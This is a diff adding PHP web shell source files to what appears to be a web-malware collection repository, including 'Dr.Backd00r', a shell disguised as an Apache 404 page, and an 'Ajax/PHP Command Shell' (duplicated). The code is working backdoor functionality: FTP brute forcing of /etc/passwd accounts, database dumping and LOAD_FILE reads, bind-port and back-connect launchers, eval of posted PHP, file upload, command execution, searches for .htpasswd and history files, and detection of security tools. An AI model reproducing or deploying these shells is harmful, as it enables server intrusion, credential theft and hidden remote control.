+ return $res;
+ }
+ }
+ $success = 0;
+ $attempts = 0;
+ $server = explode(":", $_POST['server']);
+ if($_POST['type'] == 1) {
+ $temp = @file('/etc/passwd');
+ if( is_array($temp) )
+ foreach($temp as $line) {
+ $line = explode(":", $line);
+ ++$attempts;
+ if( bruteForce(@$server[0],@$server[1], $line[0], $line[0]) ) {
+ $success++;
+ echo ''.htmlspecialchars($line[0]).' :'.htmlspecialchars($line[0]).'
+';
+ }
+ if(@$_POST['reverse']) {
+ $tmp = "";
+ for($i=strlen($line[0])-1; $i>=0; --$i)
+ $tmp .= $line[0][$i];
+ ++$attempts;
+ if( bruteForce(@$server[0],@$server[1], $line[0], $tmp) ) {
+ $success++;
+ echo ''.htmlspecialchars($line[0]).' :'.htmlspecialchars($tmp);
+ }
+ }
+ }
+ } elseif($_POST['type'] == 2) {
+ $temp = @file($_POST['dict']);
+ if( is_array($temp) )
+ foreach($temp as $line) {
+ $line = trim($line);
+ ++$attempts;
+ if( bruteForce($server[0],@$server[1], $_POST['login'], $line) ) {
+ $success++;
+ echo ''.htmlspecialchars($_POST['login']).' :'.htmlspecialchars($line).'
+';
+ }
+ }
+ }
+ echo "Attempts: $attempts Success: $success
+";
+ }
+ echo 'FTP bruteforce
+';
+ printFooter();
+}
+
+function actionSql() {
+ class DbClass {
+ var $type;
+ var $link;
+ var $res;
+ function DbClass($type) {
+ $this->type = $type;
+ }
+ function connect($host, $user, $pass, $dbname){
+ switch($this->type) {
+ case 'mysql':
+ if( $this->link = @mysql_connect($host,$user,$pass,true) ) return true;
+ break;
+ case 'pgsql':
+ $host = explode(':', $host);
+ if(!$host[1]) $host[1]=5432;
+ if( $this->link = @pg_connect("host={$host[0]} port={$host[1]} user=$user password=$pass dbname=$dbname") ) return true;
+ break;
+ }
+ return false;
+ }
+ function selectdb($db) {
+ switch($this->type) {
+ case 'mysql':
+ if (@mysql_select_db($db))return true;
+ break;
+ }
+ return false;
+ }
+ function query($str) {
+ switch($this->type) {
+ case 'mysql':
+ return $this->res = @mysql_query($str);
+ break;
+ case 'pgsql':
+ return $this->res = @pg_query($this->link,$str);
+ break;
+ }
+ return false;
+ }
+ function fetch() {
+ $res = func_num_args()?func_get_arg(0):$this->res;
+ switch($this->type) {
+ case 'mysql':
+ return @mysql_fetch_assoc($res);
+ break;
+ case 'pgsql':
+ return @pg_fetch_assoc($res);
+ break;
+ }
+ return false;
+ }
+ function listDbs() {
+ switch($this->type) {
+ case 'mysql':
+ return $this->res = @mysql_list_dbs($this->link);
+ break;
+ case 'pgsql':
+ return $this->res = $this->query("SELECT datname FROM pg_database");
+ break;
+ }
+ return false;
+ }
+ function listTables() {
+ switch($this->type) {
+ case 'mysql':
+ return $this->res = $this->query('SHOW TABLES');
+ break;
+ case 'pgsql':
+ return $this->res = $this->query("select table_name from information_schema.tables where (table_schema != 'information_schema' AND table_schema != 'pg_catalog') or table_name = 'pg_user'");
+ break;
+ }
+ return false;
+ }
+ function error() {
+ switch($this->type) {
+ case 'mysql':
+ return @mysql_error($this->link);
+ break;
+ case 'pgsql':
+ return @pg_last_error($this->link);
+ break;
+ }
+ return false;
+ }
+ function setCharset($str) {
+ switch($this->type) {
+ case 'mysql':
+ if(function_exists('mysql_set_charset'))
+ return @mysql_set_charset($str, $this->link);
+ else
+ $this->query('SET CHARSET '.$str);
+ break;
+ case 'mysql':
+ return @pg_set_client_encoding($this->link, $str);
+ break;
+ }
+ return false;
+ }
+ function dump($table) {
+ switch($this->type) {
+ case 'mysql':
+ $res = $this->query('SHOW CREATE TABLE `'.$table.'`');
+ $create = mysql_fetch_array($res);
+ echo $create[1].";\n\n";
+ $this->query('SELECT * FROM `'.$table.'`');
+ while($item = $this->fetch()) {
+ $columns = array();
+ foreach($item as $k=>$v) {
+ $item[$k] = "'".@mysql_real_escape_string($v)."'";
+ $columns[] = "`".$k."`";
+ }
+ echo 'INSERT INTO `'.$table.'` ('.implode(", ", $columns).') VALUES ('.implode(", ", $item).');'."\n";
+ }
+ break;
+ case 'pgsql':
+ $this->query('SELECT * FROM '.$table);
+ while($item = $this->fetch()) {
+ $columns = array();
+ foreach($item as $k=>$v) {
+ $item[$k] = "'".addslashes($v)."'";
+ $columns[] = $k;
+ }
+ echo 'INSERT INTO '.$table.' ('.implode(", ", $columns).') VALUES ('.implode(", ", $item).');'."\n";
+ }
+ break;
+ }
+ return false;
+ }
+ };
+ $db = new DbClass($_POST['type']);
+ if(@$_POST['p2']=='download') {
+ ob_start("ob_gzhandler", 4096);
+ $db->connect($_POST['sql_host'], $_POST['sql_login'], $_POST['sql_pass'], $_POST['sql_base']);
+ $db->selectdb($_POST['sql_base']);
+ header("Content-Disposition: attachment; filename=dump.sql");
+ header("Content-Type: text/plain");
+ foreach($_POST['tbl'] as $v)
+ $db->dump($v);
+ exit;
+ }
+ printHeader();
+ ?>
+ Sql browser
+
+
";
+ if(@$_POST['p1'] == 'loadfile') {
+ $db->query("SELECT LOAD_FILE('".addslashes($_POST['p2'])."') as file");
+ $file = $db->fetch();
+ echo '
'.htmlspecialchars($file['file']).' ';
+ }
+ }
+ echo '
Network tools
+
+
+
+ $out\n".ex("ps aux | grep bp")."";
+ }
+ if($_POST['p1'] == 'bpp') {
+ cf("/tmp/bp.pl",$bind_port_p);
+ $out = ex(which("perl")." /tmp/bp.pl ".$_POST['p2']." &");
+ echo "
$out\n".ex("ps aux | grep bp.pl")." ";
+ }
+ if($_POST['p1'] == 'bcc') {
+ cf("/tmp/bc.c",$back_connect_c);
+ $out = ex("gcc -o /tmp/bc /tmp/bc.c");
+ @unlink("/tmp/bc.c");
+ $out .= ex("/tmp/bc ".$_POST['p2']." ".$_POST['p3']." &");
+ echo "
$out\n".ex("ps aux | grep bc")." ";
+ }
+ if($_POST['p1'] == 'bcp') {
+ cf("/tmp/bc.pl",$back_connect_p);
+ $out = ex(which("perl")." /tmp/bc.pl ".$_POST['p2']." ".$_POST['p3']." &");
+ echo "
$out\n".ex("ps aux | grep bc.pl")." ";
+ }
+ }
+ echo '
Shell - *Dr.Backd00r* - SubhashDasyam.com
+
diff --git a/web-malware-collection-master/Backdoors/PHP/404.txt b/web-malware-collection-master/Backdoors/PHP/404.txt
new file mode 100755
index 0000000..19bcecf
--- /dev/null
+++ b/web-malware-collection-master/Backdoors/PHP/404.txt
@@ -0,0 +1,1417 @@
+
+Not Found
+The requested URL was not found on this server.
+Apache Server at Port 80
+
+
+
+ "dir",
+ "Find index.php in current dir" => "dir /s /w /b index.php",
+ "Find *config*.php in current dir" => "dir /s /w /b *config*.php",
+ "Show active connections" => "netstat -an",
+ "Show running services" => "net start",
+ "User accounts" => "net user",
+ "Show computers" => "net view",
+ "ARP Table" => "arp -a",
+ "IP Configuration" => "ipconfig /all"
+ );
+else
+ $aliases = array(
+ "List dir" => "ls -la",
+ "list file attributes on a Linux second extended file system" => "lsattr -va",
+ "show opened ports" => "netstat -an | grep -i listen",
+ "Find" => "",
+ "find all suid files" => "find / -type f -perm -04000 -ls",
+ "find suid files in current dir" => "find . -type f -perm -04000 -ls",
+ "find all sgid files" => "find / -type f -perm -02000 -ls",
+ "find sgid files in current dir" => "find . -type f -perm -02000 -ls",
+ "find config.inc.php files" => "find / -type f -name config.inc.php",
+ "find config* files" => "find / -type f -name \"config*\"",
+ "find config* files in current dir" => "find . -type f -name \"config*\"",
+ "find all writable folders and files" => "find / -perm -2 -ls",
+ "find all writable folders and files in current dir" => "find . -perm -2 -ls",
+ "find all service.pwd files" => "find / -type f -name service.pwd",
+ "find service.pwd files in current dir" => "find . -type f -name service.pwd",
+ "find all .htpasswd files" => "find / -type f -name .htpasswd",
+ "find .htpasswd files in current dir" => "find . -type f -name .htpasswd",
+ "find all .bash_history files" => "find / -type f -name .bash_history",
+ "find .bash_history files in current dir" => "find . -type f -name .bash_history",
+ "find all .fetchmailrc files" => "find / -type f -name .fetchmailrc",
+ "find .fetchmailrc files in current dir" => "find . -type f -name .fetchmailrc",
+ "Locate" => "",
+ "locate httpd.conf files" => "locate httpd.conf",
+ "locate vhosts.conf files" => "locate vhosts.conf",
+ "locate proftpd.conf files" => "locate proftpd.conf",
+ "locate psybnc.conf files" => "locate psybnc.conf",
+ "locate my.conf files" => "locate my.conf",
+ "locate admin.php files" =>"locate admin.php",
+ "locate cfg.php files" => "locate cfg.php",
+ "locate conf.php files" => "locate conf.php",
+ "locate config.dat files" => "locate config.dat",
+ "locate config.php files" => "locate config.php",
+ "locate config.inc files" => "locate config.inc",
+ "locate config.inc.php" => "locate config.inc.php",
+ "locate config.default.php files" => "locate config.default.php",
+ "locate config* files " => "locate config",
+ "locate .conf files"=>"locate '.conf'",
+ "locate .pwd files" => "locate '.pwd'",
+ "locate .sql files" => "locate '.sql'",
+ "locate .htpasswd files" => "locate '.htpasswd'",
+ "locate .bash_history files" => "locate '.bash_history'",
+ "locate .mysql_history files" => "locate '.mysql_history'",
+ "locate .fetchmailrc files" => "locate '.fetchmailrc'",
+ "locate backup files" => "locate backup",
+ "locate dump files" => "locate dump",
+ "locate priv files" => "locate priv"
+ );
+
+function printHeader() {
+ if(empty($_POST['charset']))
+ $_POST['charset'] = "UTF-8";
+ global $color;
+ ?>
+<?=$_SERVER['HTTP_HOST']?>- 404 Not Found Shell V.<?=VERSION?>
+
+
+
+
+".$path[$i]."/";
+ }
+ $charsets = array('UTF-8', 'Windows-1251', 'KOI8-R', 'KOI8-U', 'cp866');
+ $opt_charsets = '';
+ foreach($charsets as $item)
+ $opt_charsets .= '
'.$item.' ';
+ $m = array('Sec. Info'=>'SecInfo','Files'=>'FilesMan','Console'=>'Console','Sql'=>'Sql','Php'=>'Php','Safe mode'=>'SafeMode','String tools'=>'StringTools','Bruteforce'=>'Bruteforce','Network'=>'Network');
+ if(!empty($GLOBALS['auth_pass']))
+ $m['Logout'] = 'Logout';
+ $m['Self remove'] = 'SelfRemove';
+ $menu = '';
+ foreach($m as $k => $v)
+ $menu .= '
[ '.$k.' ] ';
+ $drives = "";
+ if ($GLOBALS['os'] == 'win') {
+ foreach( range('a','z') as $drive )
+ if (is_dir($drive.':\\'))
+ $drives .= '
[ '.$drive.' ] ';
+ }
+ echo '
Uname :'.substr(@php_uname(), 0, 120).' [Google] [milw0rm] Group: '.$gid.' ( '.$group.' )Safe mode: '.($GLOBALS['safe_mode']?'ON ':'OFF [ phpinfo ] Datetime: '.date('Y-m-d H:i:s').'Free: '.viewSize($freeSpace).' ('.(int)($freeSpace/$totalSpace*100).'%)[ home ] '.
+ ''.$opt_charsets.' Server IP: Client IP:
'.
+ '
';
+}
+
+function printFooter() {
+ $is_writable = is_writable($GLOBALS['cwd'])?"[ Writeable ] ":"[ Not writable ] ";
+?>
+
+
+
'.perms(@fileperms($f)).' '.perms(@fileperms($f)).' '.perms(@fileperms($f)).' Server security information ';
+ function showSecParam($n, $v) {
+ $v = trim($v);
+ if($v) {
+ echo '
'.$n.': ';
+ if(strpos($v, "\n") === false)
+ echo $v.'
';
+ else
+ echo '
'.$v.' ';
+ }
+ }
+
+ showSecParam('Server software', @getenv('SERVER_SOFTWARE'));
+ showSecParam('Disabled PHP Functions', ($GLOBALS['disable_functions'])?$GLOBALS['disable_functions']:'none');
+ showSecParam('Open base dir', @ini_get('open_basedir'));
+ showSecParam('Safe mode exec dir', @ini_get('safe_mode_exec_dir'));
+ showSecParam('Safe mode include dir', @ini_get('safe_mode_include_dir'));
+ showSecParam('cURL support', function_exists('curl_version')?'enabled':'no');
+ $temp=array();
+ if(function_exists('mysql_get_client_info'))
+ $temp[] = "MySql (".mysql_get_client_info().")";
+ if(function_exists('mssql_connect'))
+ $temp[] = "MSSQL";
+ if(function_exists('pg_connect'))
+ $temp[] = "PostgreSQL";
+ if(function_exists('oci_connect'))
+ $temp[] = "Oracle";
+ showSecParam('Supported databases', implode(', ', $temp));
+ echo '
';
+
+ if( $GLOBALS['os'] == 'nix' ) {
+ $userful = array('gcc','lcc','cc','ld','make','php','perl','python','ruby','tar','gzip','bzip','bzip2','nc','locate','suidperl');
+ $danger = array('kav','nod32','bdcored','uvscan','sav','drwebd','clamd','rkhunter','chkrootkit','iptables','ipfw','tripwire','shieldcc','portsentry','snort','ossec','lidsadm','tcplodg','sxid','logcheck','logwatch','sysmask','zmbscap','sawmill','wormscan','ninja');
+ $downloaders = array('wget','fetch','lynx','links','curl','get','lwp-mirror');
+ showSecParam('Readable /etc/passwd', @is_readable('/etc/passwd')?"yes
[view] ":'no');
+ showSecParam('Readable /etc/shadow', @is_readable('/etc/shadow')?"yes
[view] ":'no');
+ showSecParam('OS version', @file_get_contents('/proc/version'));
+ showSecParam('Distr name', @file_get_contents('/etc/issue.net'));
+ if(!$GLOBALS['safe_mode']) {
+ echo '
';
+ $temp=array();
+ foreach ($userful as $item)
+ if(which($item)){$temp[]=$item;}
+ showSecParam('Userful', implode(', ',$temp));
+ $temp=array();
+ foreach ($danger as $item)
+ if(which($item)){$temp[]=$item;}
+ showSecParam('Danger', implode(', ',$temp));
+ $temp=array();
+ foreach ($downloaders as $item)
+ if(which($item)){$temp[]=$item;}
+ showSecParam('Downloaders', implode(', ',$temp));
+ echo '
';
+ showSecParam('Hosts', @file_get_contents('/etc/hosts'));
+ showSecParam('HDD space', ex('df -h'));
+ showSecParam('Mount options', @file_get_contents('/etc/fstab'));
+ }
+ } else {
+ showSecParam('OS Version',ex('ver'));
+ showSecParam('Account Settings',ex('net accounts'));
+ showSecParam('User Accounts',ex('net user'));
+ }
+ echo '
PHP info ';
+ ob_start();
+ phpinfo();
+ $tmp = ob_get_clean();
+ $tmp = preg_replace('!body {.*}!msiU','',$tmp);
+ $tmp = preg_replace('!a:\w+ {.*}!msiU','',$tmp);
+ $tmp = preg_replace('!h1!msiU','h2',$tmp);
+ $tmp = preg_replace('!td, th {(.*)}!msiU','.e, .v, .h, .h th {$1}',$tmp);
+ $tmp = preg_replace('!body, td, th, h2, h2 {.*}!msiU','',$tmp);
+ echo $tmp;
+ echo '
Execution PHP-code ';
+ if(!empty($_POST['p1'])) {
+ ob_start();
+ eval($_POST['p1']);
+ echo htmlspecialchars(ob_get_clean());
+ }
+ echo ' File manager ';
+ if(isset($_POST['p1'])) {
+ switch($_POST['p1']) {
+ case 'uploadFile':
+ if(!@move_uploaded_file($_FILES['f']['tmp_name'], $_FILES['f']['name']))
+ echo "Can't upload file!";
+ break;
+ break;
+ case 'mkdir':
+ if(!@mkdir($_POST['p2']))
+ echo "Can't create new dir";
+ break;
+ case 'delete':
+ function deleteDir($path) {
+ $path = (substr($path,-1)=='/') ? $path:$path.'/';
+ $dh = opendir($path);
+ while ( ($item = readdir($dh) ) !== false) {
+ $item = $path.$item;
+ if ( (basename($item) == "..") || (basename($item) == ".") )
+ continue;
+ $type = filetype($item);
+ if ($type == "dir")
+ deleteDir($item);
+ else
+ @unlink($item);
+ }
+ closedir($dh);
+ rmdir($path);
+ }
+ if(is_array(@$_POST['f']))
+ foreach($_POST['f'] as $f) {
+ $f = urldecode($f);
+ if(is_dir($f))
+ deleteDir($f);
+ else
+ @unlink($f);
+ }
+ break;
+ case 'paste':
+ if($_SESSION['act'] == 'copy') {
+ function copy_paste($c,$s,$d){
+ if(is_dir($c.$s)){
+ mkdir($d.$s);
+ $h = opendir($c.$s);
+ while (($f = readdir($h)) !== false)
+ if (($f != ".") and ($f != "..")) {
+ copy_paste($c.$s.'/',$f, $d.$s.'/');
+ }
+ } elseif(is_file($c.$s)) {
+ @copy($c.$s, $d.$s);
+ }
+ }
+ foreach($_SESSION['f'] as $f)
+ copy_paste($_SESSION['cwd'],$f, $GLOBALS['cwd']);
+ } elseif($_SESSION['act'] == 'move') {
+ function move_paste($c,$s,$d){
+ if(is_dir($c.$s)){
+ mkdir($d.$s);
+ $h = opendir($c.$s);
+ while (($f = readdir($h)) !== false)
+ if (($f != ".") and ($f != "..")) {
+ copy_paste($c.$s.'/',$f, $d.$s.'/');
+ }
+ } elseif(is_file($c.$s)) {
+ @copy($c.$s, $d.$s);
+ }
+ }
+ foreach($_SESSION['f'] as $f)
+ @rename($_SESSION['cwd'].$f, $GLOBALS['cwd'].$f);
+ }
+ unset($_SESSION['f']);
+ break;
+ default:
+ if(!empty($_POST['p1']) && (($_POST['p1'] == 'copy')||($_POST['p1'] == 'move')) ) {
+ $_SESSION['act'] = @$_POST['p1'];
+ $_SESSION['f'] = @$_POST['f'];
+ foreach($_SESSION['f'] as $k => $f)
+ $_SESSION['f'][$k] = urldecode($f);
+ $_SESSION['cwd'] = @$_POST['c'];
+ }
+ break;
+ }
+ echo '';
+ }
+ $dirContent = @scandir(isset($_POST['c'])?$_POST['c']:$GLOBALS['cwd']);
+ if($dirContent === false) { echo 'Can\'t open this folder!'; return; }
+ global $sort;
+ $sort = array('name', 1);
+ if(!empty($_POST['p1'])) {
+ if(preg_match('!s_([A-z]+)_(\d{1})!', $_POST['p1'], $match))
+ $sort = array($match[1], (int)$match[2]);
+ }
+?>
+
+
';
+ $stringTools = array(
+ 'Base64 encode' => 'base64_encode',
+ 'Base64 decode' => 'base64_decode',
+ 'Url encode' => 'urlencode',
+ 'Url decode' => 'urldecode',
+ 'Full urlencode' => 'full_urlencode',
+ 'md5 hash' => 'md5',
+ 'sha1 hash' => 'sha1',
+ 'crypt' => 'crypt',
+ 'CRC32' => 'crc32',
+ 'ASCII to HEX' => 'ascii2hex',
+ 'HEX to ASCII' => 'hex2ascii',
+ 'HEX to DEC' => 'hexdec',
+ 'HEX to BIN' => 'hex2bin',
+ 'DEC to HEX' => 'dechex',
+ 'DEC to BIN' => 'decbin',
+ 'BIN to HEX' => 'bin2hex',
+ 'BIN to DEC' => 'bindec',
+ 'String to lower case' => 'strtolower',
+ 'String to upper case' => 'strtoupper',
+ 'Htmlspecialchars' => 'htmlspecialchars',
+ 'String length' => 'strlen',
+ );
+ if(empty($_POST['ajax'])&&!empty($_POST['p1']))
+ $_SESSION[md5($_SERVER['HTTP_HOST']).'ajax'] = false;
+ echo "
";
+ if(!empty($_POST['p1'])) {
+ if(function_exists($_POST['p1']))
+ echo htmlspecialchars($_POST['p1']($_POST['p2']));
+ }
+ echo" Search for hash:
+
+
+ File tools';
+ if( !file_exists(@$_POST['p1']) ) {
+ echo 'File not exists';
+ printFooter();
+ return;
+ }
+ $uid = @posix_getpwuid(@fileowner($_POST['p1']));
+ $gid = @posix_getgrgid(@fileowner($_POST['p1']));
+ echo '
Name: '.htmlspecialchars($_POST['p1']).'
Size: '.(is_file($_POST['p1'])?viewSize(filesize($_POST['p1'])):'-').'
Permission: '.viewPermsColor($_POST['p1']).'
Owner/Group: '.$uid['name'].'/'.$gid['name'].'
';
+ echo '
Create time: '.date('Y-m-d H:i:s',filectime($_POST['p1'])).'
Access time: '.date('Y-m-d H:i:s',fileatime($_POST['p1'])).'
Modify time: '.date('Y-m-d H:i:s',filemtime($_POST['p1'])).'
';
+ if( empty($_POST['p2']) )
+ $_POST['p2'] = 'view';
+ if( is_file($_POST['p1']) )
+ $m = array('View', 'Highlight', 'Download', 'Hexdump', 'Edit', 'Chmod', 'Rename', 'Touch');
+ else
+ $m = array('Chmod', 'Rename', 'Touch');
+ foreach($m as $v)
+ echo '
'.((strtolower($v)==@$_POST['p2'])?'[ '.$v.' ] ':$v).' ';
+ echo '
';
+ switch($_POST['p2']) {
+ case 'view':
+ echo '
';
+ $fp = @fopen($_POST['p1'], 'r');
+ if($fp) {
+ while( !@feof($fp) )
+ echo htmlspecialchars(@fread($fp, 1024));
+ @fclose($fp);
+ }
+ echo ' ';
+ break;
+ case 'highlight':
+ if( is_readable($_POST['p1']) ) {
+ echo '
';
+ $code = highlight_file($_POST['p1'],true);
+ echo str_replace(array(''), array(''),$code).'
';
+ }
+ break;
+ case 'chmod':
+ if( !empty($_POST['p3']) ) {
+ $perms = 0;
+ for($i=strlen($_POST['p3'])-1;$i>=0;--$i)
+ $perms += (int)$_POST['p3'][$i]*pow(8, (strlen($_POST['p3'])-$i-1));
+ if(!@chmod($_POST['p1'], $perms))
+ echo 'Can\'t set permissions!
';
+ else
+ die('');
+ }
+ echo '
';
+ break;
+ case 'edit':
+ if( !is_writable($_POST['p1'])) {
+ echo 'File isn\'t writeable';
+ break;
+ }
+ if( !empty($_POST['p3']) ) {
+ @file_put_contents($_POST['p1'],$_POST['p3']);
+ echo 'Saved!
';
+ }
+ echo '
';
+ break;
+ case 'hexdump':
+ $c = @file_get_contents($_POST['p1']);
+ $n = 0;
+ $h = array('00000000
','','');
+ $len = strlen($c);
+ for ($i=0; $i<$len; ++$i) {
+ $h[1] .= sprintf('%02X',ord($c[$i])).' ';
+ switch ( ord($c[$i]) ) {
+ case 0: $h[2] .= ' '; break;
+ case 9: $h[2] .= ' '; break;
+ case 10: $h[2] .= ' '; break;
+ case 13: $h[2] .= ' '; break;
+ default: $h[2] .= $c[$i]; break;
+ }
+ $n++;
+ if ($n == 32) {
+ $n = 0;
+ if ($i+1 < $len) {$h[0] .= sprintf('%08X',$i+1).'
';}
+ $h[1] .= '
';
+ $h[2] .= "\n";
+ }
+ }
+ echo '
'.$h[0].' '.$h[1].' '.htmlspecialchars($h[2]).'
';
+ break;
+ case 'rename':
+ if( !empty($_POST['p3']) ) {
+ if(!@rename($_POST['p1'], $_POST['p3']))
+ echo 'Can\'t rename!
';
+ else
+ die('');
+ }
+ echo '
';
+ break;
+ case 'touch':
+ if( !empty($_POST['p3']) ) {
+ $time = strtotime($_POST['p3']);
+ if($time) {
+ if(@touch($_POST['p1'],$time,$time))
+ die('');
+ else {
+ echo 'Fail!';
+ }
+ } else echo 'Bad time format!';
+ }
+ echo '
';
+ break;
+ case 'mkfile':
+
+ break;
+ }
+ echo '
Safe mode bypass ';
+ echo '
Copy (read file) Glob (list dir) Curl (read file) Ini_restore (read file) Posix_getpwuid ("Read" /etc/passwd) Imap_open (read file) ';
+ if($temp)
+ echo '
'.$temp.' ';
+ echo '
';
+ printFooter();
+}
+
+function actionLogout() {
+ unset($_SESSION[md5($_SERVER['HTTP_HOST'])]);
+ echo 'bye!';
+}
+
+function actionSelfRemove() {
+ printHeader();
+ if($_POST['p1'] == 'yes') {
+ if(@unlink(SELF_PATH))
+ die('Shell has been removed');
+ else
+ echo 'unlink error!';
+ }
+ echo 'Suicide Really want to remove the shell?
Yes Results Type: '.htmlspecialchars($_POST['proto']).' Server: '.htmlspecialchars($_POST['server']).''.htmlspecialchars($line[0]).' :'.htmlspecialchars($line[0]).''.htmlspecialchars($line[0]).' :'.htmlspecialchars($tmp);
+ }
+ }
+ }
+ } elseif($_POST['type'] == 2) {
+ $temp = @file($_POST['dict']);
+ if( is_array($temp) )
+ foreach($temp as $line) {
+ $line = trim($line);
+ ++$attempts;
+ if( bruteForce($server[0],@$server[1], $_POST['login'], $line) ) {
+ $success++;
+ echo ''.htmlspecialchars($_POST['login']).' :'.htmlspecialchars($line).'Attempts: $attempts Success: $success
FTP bruteforce Sql browser
+
";
+ if(@$_POST['p1'] == 'loadfile') {
+ $db->query("SELECT LOAD_FILE('".addslashes($_POST['p2'])."') as file");
+ $file = $db->fetch();
+ echo '
'.htmlspecialchars($file['file']).' ';
+ }
+ }
+ echo '
Network tools
+
+
+ $out\n".ex("ps aux | grep bp")."";
+ }
+ if($_POST['p1'] == 'bpp') {
+ cf("/tmp/bp.pl",$bind_port_p);
+ $out = ex(which("perl")." /tmp/bp.pl ".$_POST['p2']." &");
+ echo "
$out\n".ex("ps aux | grep bp.pl")." ";
+ }
+ if($_POST['p1'] == 'bcc') {
+ cf("/tmp/bc.c",$back_connect_c);
+ $out = ex("gcc -o /tmp/bc /tmp/bc.c");
+ @unlink("/tmp/bc.c");
+ $out .= ex("/tmp/bc ".$_POST['p2']." ".$_POST['p3']." &");
+ echo "
$out\n".ex("ps aux | grep bc")." ";
+ }
+ if($_POST['p1'] == 'bcp') {
+ cf("/tmp/bc.pl",$back_connect_p);
+ $out = ex(which("perl")." /tmp/bc.pl ".$_POST['p2']." ".$_POST['p3']." &");
+ echo "
$out\n".ex("ps aux | grep bc.pl")." ";
+ }
+ }
+ echo '
Private Shell - :D From Om3r enjoy it
+Hackforum.net
\ No newline at end of file
diff --git a/web-malware-collection-master/Backdoors/PHP/Ajax_PHP Command Shell.txt b/web-malware-collection-master/Backdoors/PHP/Ajax_PHP Command Shell.txt
new file mode 100755
index 0000000..d08768a
--- /dev/null
+++ b/web-malware-collection-master/Backdoors/PHP/Ajax_PHP Command Shell.txt
@@ -0,0 +1,646 @@
+ 'ClearScreen()',
+'Clear History' => 'ClearHistory()',
+'Can I function?' => "runcommand('canirun','GET')",
+'Get server info' => "runcommand('showinfo','GET')",
+'Read /etc/passwd' => "runcommand('etcpasswdfile','GET')",
+'Open ports' => "runcommand('netstat -an | grep -i listen','GET')",
+'Running processes' => "runcommand('ps -aux','GET')",
+'Readme' => "runcommand('shellhelp','GET')"
+
+);
+$thisfile = basename(__FILE__);
+
+$style = '';
+$sess = __FILE__.$password;
+if(isset($_POST['p4ssw0rD']))
+{
+ if($_POST['p4ssw0rD'] == $password)
+ {
+ $_SESSION[$sess] = $_POST['p4ssw0rD'];
+ }
+ else
+ {
+ die("Wrong password");
+ }
+
+}
+if($_SESSION[$sess] == $password)
+{
+ if(isset($_SESSION['workdir']))
+ {
+ if(file_exists($_SESSION['workdir']) && is_dir($_SESSION['workdir']))
+ {
+ chdir($_SESSION['workdir']);
+ }
+ }
+
+ if(isset($_FILES['uploadedfile']['name']))
+ {
+ $target_path = "./";
+ $target_path = $target_path . basename( $_FILES['uploadedfile']['name']);
+ if(move_uploaded_file($_FILES['uploadedfile']['tmp_name'], $target_path)) {
+
+ }
+ }
+
+ if(isset($_GET['runcmd']))
+ {
+
+ $cmd = $_GET['runcmd'];
+
+ print "".get_current_user()."~# ". htmlspecialchars($cmd)."I can write to this directory ";
+ }
+ else
+ {
+ print "I can't write to this directory, please choose another one. Ajax/PHP Command Shell Custom Functions
+If you want to add your own custom command in the Quick Commands list, check
+out the code. The $function array contains \'func name\' => \'javascript function\'.
+Take a look at the built-in functions for examples.
+
+I know this readme isn\'t providing too much information, but hell, does this shell
+even require one :P
+
+- Iron
+ ';
+
+ }
+ elseif(ereg("editfile (.*)",$cmd,$file))
+ {
+ if(file_exists($file[1]) && !is_dir($file[1]))
+ {
+ print "";
+ }
+ else
+ {
+ print "File not found.";
+ }
+ }
+ elseif(ereg("deletefile (.*)",$cmd,$file))
+ {
+ if(is_dir($file[1]))
+ {
+ if(rmdir($file[1]))
+ {
+ print "Directory succesfully deleted.";
+ }
+ else
+ {
+ print "Couldn't delete directory!";
+ }
+ }
+ else
+ {
+ if(unlink($file[1]))
+ {
+ print "File succesfully deleted.";
+ }
+ else
+ {
+ print "Couldn't delete file!";
+ }
+ }
+ }
+ elseif(strtolower($cmd) == "canirun")
+ {
+ print "If any of these functions is Enabled, the shell will function like it should.Enabled Disabled Enabled Disabled Enabled Disabled Enabled Disabled Enabled Disabled shouldn't access.Enabled Disabled Directories Files ";
+
+ if ($handle = opendir($directory[1])) {
+ while (false !== ($file = readdir($handle))) {
+ if(is_dir($file))
+ {
+ $dirs[$i] = $file;
+ $i++;
+ }
+ else
+ {
+ $filez[$f] = $file;
+ $f++;
+ }
+
+ }
+ print "";
+
+ foreach($dirs as $directory)
+ {
+ print "[D] [W] ".$directory." ";
+
+ foreach($filez as $file)
+ {
+ print "[D] ".$file."
";
+ }
+ }
+ elseif(strtolower($cmd) == "about")
+ {
+ print "Ajax Command Shell by Ironfist .Free: $free / $total MBCurrent path: $pathUname -a Output: Command Shell ~ <?php print getenv("HTTP_HOST"); ?>
+
+
+
+
+
+
+
+
+
+Command history
+About
+
+
Ajax/PHP Command Shell by Ironfist
+
+Version
+
+
+
+
+
Thanks to everyone @
+
SharePlaza
+
+
milw0rm
+
+and special greetings to everyone in rootshell
+
+
+
+[Execute command]
+[Upload file]
+[Change directory]
+[Filebrowser]
+[Create File]
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+";
+}
+?>
\ No newline at end of file
diff --git a/web-malware-collection-master/Backdoors/PHP/Ajax_PHP Command Shell.txt.1 b/web-malware-collection-master/Backdoors/PHP/Ajax_PHP Command Shell.txt.1
new file mode 100755
index 0000000..d08768a
--- /dev/null
+++ b/web-malware-collection-master/Backdoors/PHP/Ajax_PHP Command Shell.txt.1
@@ -0,0 +1,646 @@
+ 'ClearScreen()',
+'Clear History' => 'ClearHistory()',
+'Can I function?' => "runcommand('canirun','GET')",
+'Get server info' => "runcommand('showinfo','GET')",
+'Read /etc/passwd' => "runcommand('etcpasswdfile','GET')",
+'Open ports' => "runcommand('netstat -an | grep -i listen','GET')",
+'Running processes' => "runcommand('ps -aux','GET')",
+'Readme' => "runcommand('shellhelp','GET')"
+
+);
+$thisfile = basename(__FILE__);
+
+$style = '';
+$sess = __FILE__.$password;
+if(isset($_POST['p4ssw0rD']))
+{
+ if($_POST['p4ssw0rD'] == $password)
+ {
+ $_SESSION[$sess] = $_POST['p4ssw0rD'];
+ }
+ else
+ {
+ die("Wrong password");
+ }
+
+}
+if($_SESSION[$sess] == $password)
+{
+ if(isset($_SESSION['workdir']))
+ {
+ if(file_exists($_SESSION['workdir']) && is_dir($_SESSION['workdir']))
+ {
+ chdir($_SESSION['workdir']);
+ }
+ }
+
+ if(isset($_FILES['uploadedfile']['name']))
+ {
+ $target_path = "./";
+ $target_path = $target_path . basename( $_FILES['uploadedfile']['name']);
+ if(move_uploaded_file($_FILES['uploadedfile']['tmp_name'], $target_path)) {
+
+ }
+ }
+
+ if(isset($_GET['runcmd']))
+ {
+
+ $cmd = $_GET['runcmd'];
+
+ print "".get_current_user()."~# ". htmlspecialchars($cmd)."I can write to this directory ";
